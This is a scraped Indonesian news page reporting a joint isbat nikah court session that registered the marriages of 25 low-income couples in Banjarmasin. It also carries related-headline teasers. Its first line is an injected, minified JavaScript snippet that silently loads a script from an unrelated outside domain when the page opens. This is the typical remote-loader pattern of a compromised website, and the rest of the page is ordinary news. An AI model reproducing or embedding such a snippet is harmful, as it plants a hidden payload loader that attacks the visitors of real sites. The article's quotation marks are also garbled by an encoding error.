(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sebanyak 25 pasangan dari Kecamatan Banjarmasin Selatan dan Banjarmasin Barat berkumpul di aula kantor Kecamatan Banjarmasin Selatan, Selasa (11/12), melaksanakan sidang isbat nikah terpadu.
Sidang isbat nikah terpadu merupakan pelayanan masyarakat yang diselenggarakan Disdukcapil dan Dinas Sosial Kota Banjarmasin bekerjasama dengan Kemenag Kota Banjarmasin.
Asisten Bidang Pemerintahan dan Sosial Setdako Banjarmasin Gazi Akhmadi mengatakan, tujuan dilaksanakannya kegiatan tersebut untuk memberikan pelayanan kepada penduduk Kota Banjarmasin kurang mampu.
“Pelayanan kepada masyarakat ini merupakan bagian dari pembangunan kesejahteraan sosial kemasyarakatan yang berwujud memberikan hak mereka yakni pengakuan secara adminitrasi kependudukan,†ujarnya, saat membuka sidang isbat nikah.
Untuk bisa mengikuti sidang isbat nikah, jelasnya, peserta harus tercatat dalam basis data terpadu yang menurut hasil verifikasi dan validasi dinyatakan benar-benar layak mendapatkan bantuan tersebut.
Kepala Pengadilan Agama Kota Banjarmasin Dr Murtadlo menjelaskan, kegiatan sidang isbat nikah terpadu dilaksanakan untuk memberikan kemudahan kepada masyarakat dalam membuat administrasi kependudukan,sesuai dengan harapan dari Mahkamah Agung. “Ini kegiatan pertama kalinya dilaksanakan di Kota Banjarmasin, mudah-mudahan tahun depan bisa lebih banyak,†harapannya.
Sementara itu, Kasi Bimas Islam Kemenag Kota Banjarmasin Anang Syahrani mengatakan, beberapa keuntungan pasangan yang melaksanakan sidang isbat nikah terpadu diantaranya pernikahan tercatat secara adminitrasi negara, dan bisa membuat akta kelahiran untuk anak. “Dengan adanya hak sipil negara ini maka akan sangat membantu masyarakat. Jadi kalau mereka tidak mempunyai akta kelahiran maka pengadilan sudah bisa menetapkan asal usul anak,†katanya.
Dari informasi terhimpun, peserta sidang isbat nikah terpadu, tak hanya diikuti pasangan yang telah nikah secara siri, tetapi juga diikuti pasangan yang telah nikah secara sah, tetapi data pernikahan tercecer sehingga tidak sempat tercatat di KUA.
Batas usia pernikahan minimal untuk pasangan yang ingin mengikuti isbat nikah adalah 5 tahun perkawinan. Selain mendapatkan buku nikah, para peserta isbat nikah juga mendapatkan akta kelahiran untuk anak mereka. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.